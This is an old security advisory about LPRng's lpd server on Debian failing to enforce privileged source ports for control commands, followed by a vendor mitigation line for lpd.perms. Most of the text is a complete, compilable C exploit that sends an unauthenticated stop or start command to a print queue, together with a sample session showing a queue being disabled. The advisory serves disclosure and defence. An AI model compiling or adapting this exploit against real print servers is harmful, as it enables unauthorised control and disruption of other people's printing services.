COMMAND

    LPRng

SYSTEMS AFFECTED

    Debian Linux

PROBLEM

    Chris Leishman found following.  He found that is is possible  (on
    a default LPRng installation) to  control the print queues on  the
    LPRng server.  Most default  installations allow the root user  at
    the localhost to  send control commands  to the LPRng  lpd server.
    The authentication used is to make sure that the packets are  sent
    from  a  low  (priviledged)  source  port (RFC1179 specifies ports
    721-731, although  the LPRng  howto specifies  that this  has been
    extended to  512-1023).   This is  why the  lpc utility is usually
    installed SUID root.  However, it appears that LPRng's lpd  server
    fails to  check the  source port  correctly, so  using a  modified
    client that uses ports outside  the allowed range the server  will
    accept the command.

    An exploit that uses this technique to stop or start a print queue
    is appended to this advisory.  It was written and tested on Debian
    GNU/Linux.  It is used in the following way:

	host:~$ /usr/sbin/lpc status
	 Printer           Printing Spooling Jobs  Server   Slave Redirect Status/Debug
	lp@host             enabled  enabled    0    none    none
	host:~$ gcc lpcontrol.c
	host:~$ ./a.out
	Usage: ./a.out printer [stop|start]
	host:~$ ./a.out lp stop
	host:~$ /usr/sbin/lpc status
	 Printer           Printing Spooling Jobs  Server   Slave Redirect Status/Debug
       lp@host            disabled  enabled    0    none    none
       host:~$

    Code foollows:

    /* Exploit for lprng's source port check failure.
     * Written and tested on Debian GNU/Linux
     *
     * Chris Leishman <masklin@debian.org>
     */


    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <errno.h>
    #include <string.h>


    #define SRC_PORT 2056
    #define HOST "127.0.0.1"
    #define DST_PORT 515


    int main(int argc, char **argv)
    {
	    int sock;
	    struct sockaddr_in dest_sin;
	    struct sockaddr_in src_sin;
	    struct hostent *hp;
	    unsigned long ipnum;
	    char line[256];
	    int mode = 0;

	    if (argc < 2)
	    {
		    fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
		    exit(EXIT_FAILURE);
	    }           

	    if (argc >= 3)
	    {
		    if (!strcmp(argv[2], "start"))
			    mode = 1;
		    else if (strcmp(argv[2], "stop"))
		    {
			    fprintf(stderr, "Invalid mode.  Use stop or start.\n");
			    fprintf(stderr, "Usage: %s printer [stop|start]\n", argv[0]);
			    exit(EXIT_FAILURE);
		    }
	    }

	    snprintf(line, sizeof(line), "%c%s root %s %s\n",
		     6, argv[1], (mode)? "start":"stop", argv[1]);

	    memset(&dest_sin, 0, sizeof(struct sockaddr_in));
	    dest_sin.sin_port = htons((short) DST_PORT);

	    ipnum = (unsigned long) inet_addr(HOST);
	    if (ipnum != ((unsigned long) INADDR_NONE))
	    {
		    dest_sin.sin_family = AF_INET;
		    dest_sin.sin_addr.s_addr = ipnum;
	    }
	    else
	    {
		    if ((hp = gethostbyname(HOST)) == NULL)
		    {
			    fprintf(stderr, "Host lookup failed.\n");
			    exit(EXIT_FAILURE);
		    }

		    dest_sin.sin_family = hp->h_addrtype;
		    memcpy(&dest_sin.sin_addr.s_addr,hp->h_addr_list[0],
		       (size_t)hp->h_length);
	    }

	    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
	    {
		    perror("Socket call failed");
		    exit(EXIT_FAILURE);
	    }

	    src_sin.sin_family = AF_INET;
	    src_sin.sin_addr.s_addr = INADDR_ANY;
	    src_sin.sin_port = htons((u_short) SRC_PORT);

	    if ((bind(sock, (struct sockaddr *)&src_sin, sizeof(src_sin))) < 0)
	    {
		    perror("Bind failed");
		    exit(EXIT_FAILURE);
	    }

	    if (connect(sock, (struct sockaddr *)&dest_sin, sizeof(dest_sin)) < 0)
	    {
		    close(sock);
		    perror("Connect failed");
		    exit(EXIT_FAILURE);
	    }

	    if (write(sock, line, strlen(line)) <= 0)
	    {
		    perror("Write failed");
		    exit(EXIT_FAILURE);
	    }

	    close(sock);

	    return EXIT_SUCCESS;
    }

SOLUTION

    The  author  (papowell@astart.com)  has  been  notified,  but  the
    problem has  not been  fully acknowledged.   Aside from  a lot  of
    random (and generally useless) commentry regarding the  insecurity
    of  LPRng,  NFS,  SUID  root  programs,  etc,  the  only   usefull
    suggestion was to add:

	REJECT=X NOT PORT=1-1023

    to the lpd.perms control file.